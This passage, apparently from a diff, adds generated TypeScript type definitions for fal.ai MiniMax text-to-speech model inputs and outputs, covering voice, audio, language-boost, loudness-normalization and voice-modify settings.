(typeof inputFalAiMinimaxPreviewSpeech25HdOutputFormatEnum)[keyof typeof inputFalAiMinimaxPreviewSpeech25HdOutputFormatEnum] + +export type InputFalAiMinimaxPreviewSpeech25Hd = { + /** + * @description Voice configuration settings + * @default {"pitch":0,"vol":1,"english_normalization":false,"speed":1,"voice_id":"Wise_Woman"} + * @type object | undefined + */ + voice_setting?: VoiceSetting + /** + * @description Audio configuration settings + * @type object | undefined + */ + audio_setting?: AudioSetting2Ac27A35 + /** + * @description Enhance recognition of specified languages and dialects + */ + language_boost?: InputFalAiMinimaxPreviewSpeech25HdLanguageBoostKey | null + /** + * @description Custom pronunciation dictionary for text replacement + */ + pronunciation_dict?: PronunciationDict | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text to convert to speech (max 5000 characters, minimum 1 non-whitespace character) + * @minLength 1 + * @maxLength 5000 + * @example Hello world! This is a test of the text-to-speech system. + * @type string + */ + text: string + /** + * @description Format of the output content (non-streaming only) + * @default 'hex' + * @type string | undefined + */ + output_format?: InputFalAiMinimaxPreviewSpeech25HdOutputFormatEnumKey +} + +export type File1B8B9Ce0 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiMinimaxPreviewSpeech25Hd = { + /** + * @description The generated audio file + * @example {"url":"https://fal.media/files/kangaroo/kojPUCNZ9iUGFGMR-xb7h_speech.mp3"} + * @type object + */ + audio: File1B8B9Ce0 + /** + * @description Duration of the audio in milliseconds + * @type integer + */ + duration_ms: number +} + +export const audioSetting05003B7DBitrateEnum = { + '32000': 32000, + '64000': 64000, + '128000': 128000, + '256000': 256000, +} as const + +export type AudioSetting05003B7DBitrateEnumKey = + (typeof audioSetting05003B7DBitrateEnum)[keyof typeof audioSetting05003B7DBitrateEnum] + +export const audioSetting05003B7DFormatEnum = { + mp3: 'mp3', + pcm: 'pcm', + flac: 'flac', +} as const + +export type AudioSetting05003B7DFormatEnumKey = + (typeof audioSetting05003B7DFormatEnum)[keyof typeof audioSetting05003B7DFormatEnum] + +export const audioSetting05003B7DChannelEnum = { + '1': 1, + '2': 2, +} as const + +export type AudioSetting05003B7DChannelEnumKey = + (typeof audioSetting05003B7DChannelEnum)[keyof typeof audioSetting05003B7DChannelEnum] + +export const audioSetting05003B7DSampleRateEnum = { + '8000': 8000, + '16000': 16000, + '22050': 22050, + '24000': 24000, + '32000': 32000, + '44100': 44100, +} as const + +export type AudioSetting05003B7DSampleRateEnumKey = + (typeof audioSetting05003B7DSampleRateEnum)[keyof typeof audioSetting05003B7DSampleRateEnum] + +export type AudioSetting05003B7D = { + /** + * @description Bitrate of generated audio + * @default 128000 + * @type number | undefined + */ + bitrate?: AudioSetting05003B7DBitrateEnumKey + /** + * @description Audio format + * @default 'mp3' + * @type string | undefined + */ + format?: AudioSetting05003B7DFormatEnumKey + /** + * @description Number of audio channels (1=mono, 2=stereo) + * @default 1 + * @type number | undefined + */ + channel?: AudioSetting05003B7DChannelEnumKey + /** + * @description Sample rate of generated audio + * @default 32000 + * @type number | undefined + */ + sample_rate?: AudioSetting05003B7DSampleRateEnumKey +} + +export const inputFalAiMinimaxPreviewSpeech25TurboLanguageBoost = { + Persian: 'Persian', + Filipino: 'Filipino', + Tamil: 'Tamil', + Chinese: 'Chinese', + 'Chinese,Yue': 'Chinese,Yue', + English: 'English', + Arabic: 'Arabic', + Russian: 'Russian', + Spanish: 'Spanish', + French: 'French', + Portuguese: 'Portuguese', + German: 'German', + Turkish: 'Turkish', + Dutch: 'Dutch', + Ukrainian: 'Ukrainian', + Vietnamese: 'Vietnamese', + Indonesian: 'Indonesian', + Japanese: 'Japanese', + Italian: 'Italian', + Korean: 'Korean', + Thai: 'Thai', + Polish: 'Polish', + Romanian: 'Romanian', + Greek: 'Greek', + Czech: 'Czech', + Finnish: 'Finnish', + Hindi: 'Hindi', + Bulgarian: 'Bulgarian', + Danish: 'Danish', + Hebrew: 'Hebrew', + Malay: 'Malay', + Slovak: 'Slovak', + Swedish: 'Swedish', + Croatian: 'Croatian', + Hungarian: 'Hungarian', + Norwegian: 'Norwegian', + Slovenian: 'Slovenian', + Catalan: 'Catalan', + Nynorsk: 'Nynorsk', + Afrikaans: 'Afrikaans', + auto: 'auto', +} as const + +export type InputFalAiMinimaxPreviewSpeech25TurboLanguageBoostKey = + (typeof inputFalAiMinimaxPreviewSpeech25TurboLanguageBoost)[keyof typeof inputFalAiMinimaxPreviewSpeech25TurboLanguageBoost] + +export const inputFalAiMinimaxPreviewSpeech25TurboOutputFormatEnum = { + url: 'url', + hex: 'hex', +} as const + +export type InputFalAiMinimaxPreviewSpeech25TurboOutputFormatEnumKey = + (typeof inputFalAiMinimaxPreviewSpeech25TurboOutputFormatEnum)[keyof typeof inputFalAiMinimaxPreviewSpeech25TurboOutputFormatEnum] + +export type InputFalAiMinimaxPreviewSpeech25Turbo = { + /** + * @description Voice configuration settings + * @default {"pitch":0,"vol":1,"english_normalization":false,"speed":1,"voice_id":"Wise_Woman"} + * @type object | undefined + */ + voice_setting?: VoiceSetting + /** + * @description Audio configuration settings + * @type object | undefined + */ + audio_setting?: AudioSetting05003B7D + /** + * @description Enhance recognition of specified languages and dialects + */ + language_boost?: InputFalAiMinimaxPreviewSpeech25TurboLanguageBoostKey | null + /** + * @description Custom pronunciation dictionary for text replacement + */ + pronunciation_dict?: PronunciationDict | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text to convert to speech (max 5000 characters, minimum 1 non-whitespace character) + * @minLength 1 + * @maxLength 5000 + * @example Hello world! This is a test of the text-to-speech system. + * @type string + */ + text: string + /** + * @description Format of the output content (non-streaming only) + * @default 'hex' + * @type string | undefined + */ + output_format?: InputFalAiMinimaxPreviewSpeech25TurboOutputFormatEnumKey +} + +export type FileB1F702A6 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiMinimaxPreviewSpeech25Turbo = { + /** + * @description The generated audio file + * @example {"url":"https://fal.media/files/kangaroo/kojPUCNZ9iUGFGMR-xb7h_speech.mp3"} + * @type object + */ + audio: FileB1F702A6 + /** + * @description Duration of the audio in milliseconds + * @type integer + */ + duration_ms: number +} + +export const audioSettingB6525Cf3BitrateEnum = { + '32000': 32000, + '64000': 64000, + '128000': 128000, + '256000': 256000, +} as const + +export type AudioSettingB6525Cf3BitrateEnumKey = + (typeof audioSettingB6525Cf3BitrateEnum)[keyof typeof audioSettingB6525Cf3BitrateEnum] + +export const audioSettingB6525Cf3FormatEnum = { + mp3: 'mp3', + pcm: 'pcm', + flac: 'flac', +} as const + +export type AudioSettingB6525Cf3FormatEnumKey = + (typeof audioSettingB6525Cf3FormatEnum)[keyof typeof audioSettingB6525Cf3FormatEnum] + +export const audioSettingB6525Cf3ChannelEnum = { + '1': 1, + '2': 2, +} as const + +export type AudioSettingB6525Cf3ChannelEnumKey = + (typeof audioSettingB6525Cf3ChannelEnum)[keyof typeof audioSettingB6525Cf3ChannelEnum] + +export const audioSettingB6525Cf3SampleRateEnum = { + '8000': 8000, + '16000': 16000, + '22050': 22050, + '24000': 24000, + '32000': 32000, + '44100': 44100, +} as const + +export type AudioSettingB6525Cf3SampleRateEnumKey = + (typeof audioSettingB6525Cf3SampleRateEnum)[keyof typeof audioSettingB6525Cf3SampleRateEnum] + +export type AudioSettingB6525Cf3 = { + /** + * @description Bitrate of generated audio + * @default 128000 + * @type number | undefined + */ + bitrate?: AudioSettingB6525Cf3BitrateEnumKey + /** + * @description Audio format + * @default 'mp3' + * @type string | undefined + */ + format?: AudioSettingB6525Cf3FormatEnumKey + /** + * @description Number of audio channels (1=mono, 2=stereo) + * @default 1 + * @type number | undefined + */ + channel?: AudioSettingB6525Cf3ChannelEnumKey + /** + * @description Sample rate of generated audio + * @default 32000 + * @type number | undefined + */ + sample_rate?: AudioSettingB6525Cf3SampleRateEnumKey +} + +export const inputFalAiMinimaxSpeech02HdLanguageBoost = { + Chinese: 'Chinese', + 'Chinese,Yue': 'Chinese,Yue', + English: 'English', + Arabic: 'Arabic', + Russian: 'Russian', + Spanish: 'Spanish', + French: 'French', + Portuguese: 'Portuguese', + German: 'German', + Turkish: 'Turkish', + Dutch: 'Dutch', + Ukrainian: 'Ukrainian', + Vietnamese: 'Vietnamese', + Indonesian: 'Indonesian', + Japanese: 'Japanese', + Italian: 'Italian', + Korean: 'Korean', + Thai: 'Thai', + Polish: 'Polish', + Romanian: 'Romanian', + Greek: 'Greek', + Czech: 'Czech', + Finnish: 'Finnish', + Hindi: 'Hindi', + Bulgarian: 'Bulgarian', + Danish: 'Danish', + Hebrew: 'Hebrew', + Malay: 'Malay', + Slovak: 'Slovak', + Swedish: 'Swedish', + Croatian: 'Croatian', + Hungarian: 'Hungarian', + Norwegian: 'Norwegian', + Slovenian: 'Slovenian', + Catalan: 'Catalan', + Nynorsk: 'Nynorsk', + Afrikaans: 'Afrikaans', + auto: 'auto', +} as const + +export type InputFalAiMinimaxSpeech02HdLanguageBoostKey = + (typeof inputFalAiMinimaxSpeech02HdLanguageBoost)[keyof typeof inputFalAiMinimaxSpeech02HdLanguageBoost] + +export const inputFalAiMinimaxSpeech02HdOutputFormatEnum = { + url: 'url', + hex: 'hex', +} as const + +export type InputFalAiMinimaxSpeech02HdOutputFormatEnumKey = + (typeof inputFalAiMinimaxSpeech02HdOutputFormatEnum)[keyof typeof inputFalAiMinimaxSpeech02HdOutputFormatEnum] + +export type InputFalAiMinimaxSpeech02Hd = { + /** + * @description Voice configuration settings + * @default {"pitch":0,"vol":1,"english_normalization":false,"speed":1,"voice_id":"Wise_Woman"} + * @type object | undefined + */ + voice_setting?: VoiceSetting + /** + * @description Audio configuration settings + * @type object | undefined + */ + audio_setting?: AudioSettingB6525Cf3 + /** + * @description Enhance recognition of specified languages and dialects + */ + language_boost?: InputFalAiMinimaxSpeech02HdLanguageBoostKey | null + /** + * @description Custom pronunciation dictionary for text replacement + */ + pronunciation_dict?: PronunciationDict | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text to convert to speech (max 5000 characters, minimum 1 non-whitespace character) + * @minLength 1 + * @maxLength 5000 + * @example Hello world! This is a test of the text-to-speech system. + * @type string + */ + text: string + /** + * @description Format of the output content (non-streaming only) + * @default 'hex' + * @type string | undefined + */ + output_format?: InputFalAiMinimaxSpeech02HdOutputFormatEnumKey +} + +export type File5Cebd868 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiMinimaxSpeech02Hd = { + /** + * @description The generated audio file + * @example {"url":"https://fal.media/files/kangaroo/kojPUCNZ9iUGFGMR-xb7h_speech.mp3"} + * @type object + */ + audio: File5Cebd868 + /** + * @description Duration of the audio in milliseconds + * @type integer + */ + duration_ms: number +} + +export const audioSettingA02537D3BitrateEnum = { + '32000': 32000, + '64000': 64000, + '128000': 128000, + '256000': 256000, +} as const + +export type AudioSettingA02537D3BitrateEnumKey = + (typeof audioSettingA02537D3BitrateEnum)[keyof typeof audioSettingA02537D3BitrateEnum] + +export const audioSettingA02537D3FormatEnum = { + mp3: 'mp3', + pcm: 'pcm', + flac: 'flac', +} as const + +export type AudioSettingA02537D3FormatEnumKey = + (typeof audioSettingA02537D3FormatEnum)[keyof typeof audioSettingA02537D3FormatEnum] + +export const audioSettingA02537D3ChannelEnum = { + '1': 1, + '2': 2, +} as const + +export type AudioSettingA02537D3ChannelEnumKey = + (typeof audioSettingA02537D3ChannelEnum)[keyof typeof audioSettingA02537D3ChannelEnum] + +export const audioSettingA02537D3SampleRateEnum = { + '8000': 8000, + '16000': 16000, + '22050': 22050, + '24000': 24000, + '32000': 32000, + '44100': 44100, +} as const + +export type AudioSettingA02537D3SampleRateEnumKey = + (typeof audioSettingA02537D3SampleRateEnum)[keyof typeof audioSettingA02537D3SampleRateEnum] + +export type AudioSettingA02537D3 = { + /** + * @description Bitrate of generated audio + * @default 128000 + * @type number | undefined + */ + bitrate?: AudioSettingA02537D3BitrateEnumKey + /** + * @description Audio format + * @default 'mp3' + * @type string | undefined + */ + format?: AudioSettingA02537D3FormatEnumKey + /** + * @description Number of audio channels (1=mono, 2=stereo) + * @default 1 + * @type number | undefined + */ + channel?: AudioSettingA02537D3ChannelEnumKey + /** + * @description Sample rate of generated audio + * @default 32000 + * @type number | undefined + */ + sample_rate?: AudioSettingA02537D3SampleRateEnumKey +} + +export const inputFalAiMinimaxSpeech02TurboLanguageBoost = { + Chinese: 'Chinese', + 'Chinese,Yue': 'Chinese,Yue', + English: 'English', + Arabic: 'Arabic', + Russian: 'Russian', + Spanish: 'Spanish', + French: 'French', + Portuguese: 'Portuguese', + German: 'German', + Turkish: 'Turkish', + Dutch: 'Dutch', + Ukrainian: 'Ukrainian', + Vietnamese: 'Vietnamese', + Indonesian: 'Indonesian', + Japanese: 'Japanese', + Italian: 'Italian', + Korean: 'Korean', + Thai: 'Thai', + Polish: 'Polish', + Romanian: 'Romanian', + Greek: 'Greek', + Czech: 'Czech', + Finnish: 'Finnish', + Hindi: 'Hindi', + Bulgarian: 'Bulgarian', + Danish: 'Danish', + Hebrew: 'Hebrew', + Malay: 'Malay', + Slovak: 'Slovak', + Swedish: 'Swedish', + Croatian: 'Croatian', + Hungarian: 'Hungarian', + Norwegian: 'Norwegian', + Slovenian: 'Slovenian', + Catalan: 'Catalan', + Nynorsk: 'Nynorsk', + Afrikaans: 'Afrikaans', + auto: 'auto', +} as const + +export type InputFalAiMinimaxSpeech02TurboLanguageBoostKey = + (typeof inputFalAiMinimaxSpeech02TurboLanguageBoost)[keyof typeof inputFalAiMinimaxSpeech02TurboLanguageBoost] + +export const inputFalAiMinimaxSpeech02TurboOutputFormatEnum = { + url: 'url', + hex: 'hex', +} as const + +export type InputFalAiMinimaxSpeech02TurboOutputFormatEnumKey = + (typeof inputFalAiMinimaxSpeech02TurboOutputFormatEnum)[keyof typeof inputFalAiMinimaxSpeech02TurboOutputFormatEnum] + +export type InputFalAiMinimaxSpeech02Turbo = { + /** + * @description Voice configuration settings + * @default {"pitch":0,"vol":1,"english_normalization":false,"speed":1,"voice_id":"Wise_Woman"} + * @type object | undefined + */ + voice_setting?: VoiceSetting + /** + * @description Audio configuration settings + * @type object | undefined + */ + audio_setting?: AudioSettingA02537D3 + /** + * @description Enhance recognition of specified languages and dialects + */ + language_boost?: InputFalAiMinimaxSpeech02TurboLanguageBoostKey | null + /** + * @description Custom pronunciation dictionary for text replacement + */ + pronunciation_dict?: PronunciationDict | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text to convert to speech (max 5000 characters, minimum 1 non-whitespace character) + * @minLength 1 + * @maxLength 5000 + * @example Hello world! This is a test of the text-to-speech system. + * @type string + */ + text: string + /** + * @description Format of the output content (non-streaming only) + * @default 'hex' + * @type string | undefined + */ + output_format?: InputFalAiMinimaxSpeech02TurboOutputFormatEnumKey +} + +export type FileEf35995E = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiMinimaxSpeech02Turbo = { + /** + * @description The generated audio file + * @example {"url":"https://fal.media/files/kangaroo/kojPUCNZ9iUGFGMR-xb7h_speech.mp3"} + * @type object + */ + audio: FileEf35995E + /** + * @description Duration of the audio in milliseconds + * @type integer + */ + duration_ms: number +} + +export type LoudnessNormalizationSetting = { + /** + * @description Target loudness range in LU (default 8.0) + * @minimum 0 + * @maximum 20 + * @default 8 + * @type number | undefined + */ + target_range?: number + /** + * @description Target peak level in dBTP (default -0.5). + * @minimum -3 + * @maximum 0 + * @default -0.5 + * @type number | undefined + */ + target_peak?: number + /** + * @description Enable loudness normalization for the audio + * @default true + * @type boolean | undefined + */ + enabled?: boolean + /** + * @description Target loudness in LUFS (default -18.0) + * @minimum -70 + * @maximum -10 + * @default -18 + * @type number | undefined + */ + target_loudness?: number +} + +export const audioSetting9Aac42BeBitrateEnum = { + '32000': 32000, + '64000': 64000, + '128000': 128000, + '256000': 256000, +} as const + +export type AudioSetting9Aac42BeBitrateEnumKey = + (typeof audioSetting9Aac42BeBitrateEnum)[keyof typeof audioSetting9Aac42BeBitrateEnum] + +export const audioSetting9Aac42BeFormatEnum = { + mp3: 'mp3', + pcm: 'pcm', + flac: 'flac', +} as const + +export type AudioSetting9Aac42BeFormatEnumKey = + (typeof audioSetting9Aac42BeFormatEnum)[keyof typeof audioSetting9Aac42BeFormatEnum] + +export const audioSetting9Aac42BeChannelEnum = { + '1': 1, + '2': 2, +} as const + +export type AudioSetting9Aac42BeChannelEnumKey = + (typeof audioSetting9Aac42BeChannelEnum)[keyof typeof audioSetting9Aac42BeChannelEnum] + +export const audioSetting9Aac42BeSampleRateEnum = { + '8000': 8000, + '16000': 16000, + '22050': 22050, + '24000': 24000, + '32000': 32000, + '44100': 44100, +} as const + +export type AudioSetting9Aac42BeSampleRateEnumKey = + (typeof audioSetting9Aac42BeSampleRateEnum)[keyof typeof audioSetting9Aac42BeSampleRateEnum] + +export type AudioSetting9Aac42Be = { + /** + * @description Bitrate of generated audio + * @default 128000 + * @type number | undefined + */ + bitrate?: AudioSetting9Aac42BeBitrateEnumKey + /** + * @description Audio format + * @default 'mp3' + * @type string | undefined + */ + format?: AudioSetting9Aac42BeFormatEnumKey + /** + * @description Number of audio channels (1=mono, 2=stereo) + * @default 1 + * @type number | undefined + */ + channel?: AudioSetting9Aac42BeChannelEnumKey + /** + * @description Sample rate of generated audio + * @default 32000 + * @type number | undefined + */ + sample_rate?: AudioSetting9Aac42BeSampleRateEnumKey +} + +export const inputFalAiMinimaxSpeech26HdLanguageBoost = { + Chinese: 'Chinese', + 'Chinese,Yue': 'Chinese,Yue', + English: 'English', + Arabic: 'Arabic', + Russian: 'Russian', + Spanish: 'Spanish', + French: 'French', + Portuguese: 'Portuguese', + German: 'German', + Turkish: 'Turkish', + Dutch: 'Dutch', + Ukrainian: 'Ukrainian', + Vietnamese: 'Vietnamese', + Indonesian: 'Indonesian', + Japanese: 'Japanese', + Italian: 'Italian', + Korean: 'Korean', + Thai: 'Thai', + Polish: 'Polish', + Romanian: 'Romanian', + Greek: 'Greek', + Czech: 'Czech', + Finnish: 'Finnish', + Hindi: 'Hindi', + Bulgarian: 'Bulgarian', + Danish: 'Danish', + Hebrew: 'Hebrew', + Malay: 'Malay', + Slovak: 'Slovak', + Swedish: 'Swedish', + Croatian: 'Croatian', + Hungarian: 'Hungarian', + Norwegian: 'Norwegian', + Slovenian: 'Slovenian', + Catalan: 'Catalan', + Nynorsk: 'Nynorsk', + Afrikaans: 'Afrikaans', + auto: 'auto', +} as const + +export type InputFalAiMinimaxSpeech26HdLanguageBoostKey = + (typeof inputFalAiMinimaxSpeech26HdLanguageBoost)[keyof typeof inputFalAiMinimaxSpeech26HdLanguageBoost] + +export const inputFalAiMinimaxSpeech26HdOutputFormatEnum = { + url: 'url', + hex: 'hex', +} as const + +export type InputFalAiMinimaxSpeech26HdOutputFormatEnumKey = + (typeof inputFalAiMinimaxSpeech26HdOutputFormatEnum)[keyof typeof inputFalAiMinimaxSpeech26HdOutputFormatEnum] + +export type InputFalAiMinimaxSpeech26Hd = { + /** + * @description Voice configuration settings + * @default {"pitch":0,"vol":1,"english_normalization":false,"speed":1,"voice_id":"Wise_Woman"} + * @type object | undefined + */ + voice_setting?: VoiceSetting + /** + * @description Text to convert to speech. Paragraph breaks should be marked with newline characters. **NOTE**: You can customize speech pauses by adding markers in the form `<#x#>`, where `x` is the pause duration in seconds. Valid range: `[0.01, 99.99]`, up to two decimal places. Pause markers must be placed between speakable text segments and cannot be used consecutively. + * @minLength 1 + * @maxLength 10000 + * @example Hello world! Welcome MiniMax's new text to speech model <#0.1#> Speech 2.6, now available on Fal! + * @type string + */ + prompt: string + /** + * @description Enhance recognition of specified languages and dialects + */ + language_boost?: InputFalAiMinimaxSpeech26HdLanguageBoostKey | null + /** + * @description Format of the output content (non-streaming only) + * @default 'hex' + * @type string | undefined + */ + output_format?: InputFalAiMinimaxSpeech26HdOutputFormatEnumKey + /** + * @description Loudness normalization settings for the audio + * @type object | undefined + */ + normalization_setting?: LoudnessNormalizationSetting + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Audio configuration settings + * @type object | undefined + */ + audio_setting?: AudioSetting9Aac42Be + /** + * @description Custom pronunciation dictionary for text replacement + */ + pronunciation_dict?: PronunciationDict | null +} + +export type FileB29Fe61C = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiMinimaxSpeech26Hd = { + /** + * @description The generated audio file + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/minimax-speech-26/speech_26_hd_out.mp3"} + * @type object + */ + audio: FileB29Fe61C + /** + * @description Duration of the audio in milliseconds + * @type integer + */ + duration_ms: number +} + +export const audioSetting002Cfa44BitrateEnum = { + '32000': 32000, + '64000': 64000, + '128000': 128000, + '256000': 256000, +} as const + +export type AudioSetting002Cfa44BitrateEnumKey = + (typeof audioSetting002Cfa44BitrateEnum)[keyof typeof audioSetting002Cfa44BitrateEnum] + +export const audioSetting002Cfa44FormatEnum = { + mp3: 'mp3', + pcm: 'pcm', + flac: 'flac', +} as const + +export type AudioSetting002Cfa44FormatEnumKey = + (typeof audioSetting002Cfa44FormatEnum)[keyof typeof audioSetting002Cfa44FormatEnum] + +export const audioSetting002Cfa44ChannelEnum = { + '1': 1, + '2': 2, +} as const + +export type AudioSetting002Cfa44ChannelEnumKey = + (typeof audioSetting002Cfa44ChannelEnum)[keyof typeof audioSetting002Cfa44ChannelEnum] + +export const audioSetting002Cfa44SampleRateEnum = { + '8000': 8000, + '16000': 16000, + '22050': 22050, + '24000': 24000, + '32000': 32000, + '44100': 44100, +} as const + +export type AudioSetting002Cfa44SampleRateEnumKey = + (typeof audioSetting002Cfa44SampleRateEnum)[keyof typeof audioSetting002Cfa44SampleRateEnum] + +export type AudioSetting002Cfa44 = { + /** + * @description Bitrate of generated audio + * @default 128000 + * @type number | undefined + */ + bitrate?: AudioSetting002Cfa44BitrateEnumKey + /** + * @description Audio format + * @default 'mp3' + * @type string | undefined + */ + format?: AudioSetting002Cfa44FormatEnumKey + /** + * @description Number of audio channels (1=mono, 2=stereo) + * @default 1 + * @type number | undefined + */ + channel?: AudioSetting002Cfa44ChannelEnumKey + /** + * @description Sample rate of generated audio + * @default 32000 + * @type number | undefined + */ + sample_rate?: AudioSetting002Cfa44SampleRateEnumKey +} + +export const inputFalAiMinimaxSpeech26TurboLanguageBoost = { + Chinese: 'Chinese', + 'Chinese,Yue': 'Chinese,Yue', + English: 'English', + Arabic: 'Arabic', + Russian: 'Russian', + Spanish: 'Spanish', + French: 'French', + Portuguese: 'Portuguese', + German: 'German', + Turkish: 'Turkish', + Dutch: 'Dutch', + Ukrainian: 'Ukrainian', + Vietnamese: 'Vietnamese', + Indonesian: 'Indonesian', + Japanese: 'Japanese', + Italian: 'Italian', + Korean: 'Korean', + Thai: 'Thai', + Polish: 'Polish', + Romanian: 'Romanian', + Greek: 'Greek', + Czech: 'Czech', + Finnish: 'Finnish', + Hindi: 'Hindi', + Bulgarian: 'Bulgarian', + Danish: 'Danish', + Hebrew: 'Hebrew', + Malay: 'Malay', + Slovak: 'Slovak', + Swedish: 'Swedish', + Croatian: 'Croatian', + Hungarian: 'Hungarian', + Norwegian: 'Norwegian', + Slovenian: 'Slovenian', + Catalan: 'Catalan', + Nynorsk: 'Nynorsk', + Afrikaans: 'Afrikaans', + auto: 'auto', +} as const + +export type InputFalAiMinimaxSpeech26TurboLanguageBoostKey = + (typeof inputFalAiMinimaxSpeech26TurboLanguageBoost)[keyof typeof inputFalAiMinimaxSpeech26TurboLanguageBoost] + +export const inputFalAiMinimaxSpeech26TurboOutputFormatEnum = { + url: 'url', + hex: 'hex', +} as const + +export type InputFalAiMinimaxSpeech26TurboOutputFormatEnumKey = + (typeof inputFalAiMinimaxSpeech26TurboOutputFormatEnum)[keyof typeof inputFalAiMinimaxSpeech26TurboOutputFormatEnum] + +export type InputFalAiMinimaxSpeech26Turbo = { + /** + * @description Voice configuration settings + * @default {"pitch":0,"vol":1,"english_normalization":false,"speed":1,"voice_id":"Wise_Woman"} + * @type object | undefined + */ + voice_setting?: VoiceSetting + /** + * @description Text to convert to speech. Paragraph breaks should be marked with newline characters. **NOTE**: You can customize speech pauses by adding markers in the form `<#x#>`, where `x` is the pause duration in seconds. Valid range: `[0.01, 99.99]`, up to two decimal places. Pause markers must be placed between speakable text segments and cannot be used consecutively. + * @minLength 1 + * @maxLength 10000 + * @example Hello world! Welcome MiniMax's new text to speech model <#0.1#> Speech 2.6 Turbo, now available on Fal! + * @type string + */ + prompt: string + /** + * @description Enhance recognition of specified languages and dialects + */ + language_boost?: InputFalAiMinimaxSpeech26TurboLanguageBoostKey | null + /** + * @description Format of the output content (non-streaming only) + * @default 'hex' + * @type string | undefined + */ + output_format?: InputFalAiMinimaxSpeech26TurboOutputFormatEnumKey + /** + * @description Loudness normalization settings for the audio + * @type object | undefined + */ + normalization_setting?: LoudnessNormalizationSetting + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Audio configuration settings + * @type object | undefined + */ + audio_setting?: AudioSetting002Cfa44 + /** + * @description Custom pronunciation dictionary for text replacement + */ + pronunciation_dict?: PronunciationDict | null +} + +export type File02Aeaf3A = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiMinimaxSpeech26Turbo = { + /** + * @description The generated audio file + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/minimax-speech-26/speech_26_turbo_out.mp3"} + * @type object + */ + audio: File02Aeaf3A + /** + * @description Duration of the audio in milliseconds + * @type integer + */ + duration_ms: number +} + +/** + * @description Voice modification settings for Speech 2.8 models. + * @type object + */ +export type VoiceModify = { + /** + * @description Pitch adjustment in semitones. Range: -100 to 100. Positive values raise pitch, negative values lower it. + * @minimum -100 + * @maximum 100 + * @default 0 + * @type integer | undefined + */ + pitch?: number + /** + * @description Timbre adjustment. Range: -100 to 100. Affects the tonal quality of the voice. + * @minimum -100 + * @maximum 100 + * @default 0 + * @type integer | undefined + */ + timbre?: number + /** + * @description Intensity/energy of the voice. Range: -100 to 100. Higher values create more energetic speech. + * @minimum -100 + * @maximum 100 + * @default 0 + * @type integer | undefined + */ + intensity?: number +} + +export const audioSetting062A6EddBitrateEnum = { + '32000': 32000, + '64000': 64000, + '128000': 128000, + '256000': 256000, +} as const + +export type AudioSetting062A6EddBitrateEnumKey = + (typeof audioSetting062A6EddBitrateEnum)[keyof typeof audioSetting062A6EddBitrateEnum] + +export const audioSetting062A6EddFormatEnum = { + mp3: 'mp3', + pcm: 'pcm', + flac: 'flac', +} as const + +export type AudioSetting062A6EddFormatEnumKey = + (typeof audioSetting062A6EddFormatEnum)[keyof typeof audioSetting062A6EddFormatEnum] + +export const audioSetting062A6EddChannelEnum = { + '1': 1, + '2': 2, +} as const + +export type AudioSetting062A6EddChannelEnumKey = + (typeof audioSetting062A6EddChannelEnum)[keyof typeof audioSetting062A6EddChannelEnum] + +export const audioSetting062A6EddSampleRateEnum = { + '8000': 8000, + '16000': 16000, + '22050': 22050, + '24000': 24000, + '32000': 32000, + '44100': 44100, +} as const + +export type AudioSetting062A6EddSampleRateEnumKey = + (typeof audioSetting062A6EddSampleRateEnum)[keyof typeof audioSetting062A6EddSampleRateEnum] + +export type AudioSetting062A6Edd = { + /** + * @description Bitrate of generated audio + * @default 128000 + * @type number | undefined + */ + bitrate?: AudioSetting062A6EddBitrateEnumKey + /** + * @description Audio format + * @default 'mp3' + * @type string | undefined + */ + format?: AudioSetting062A6EddFormatEnumKey + /** + * @description Number of audio channels (1=mono, 2=stereo) + * @default 1 + * @type number | undefined + */ + channel?: AudioSetting062A6EddChannelEnumKey + /** + * @description Sample rate of generated audio + * @default 32000 + * @type number | undefined + */ + sample_rate?: 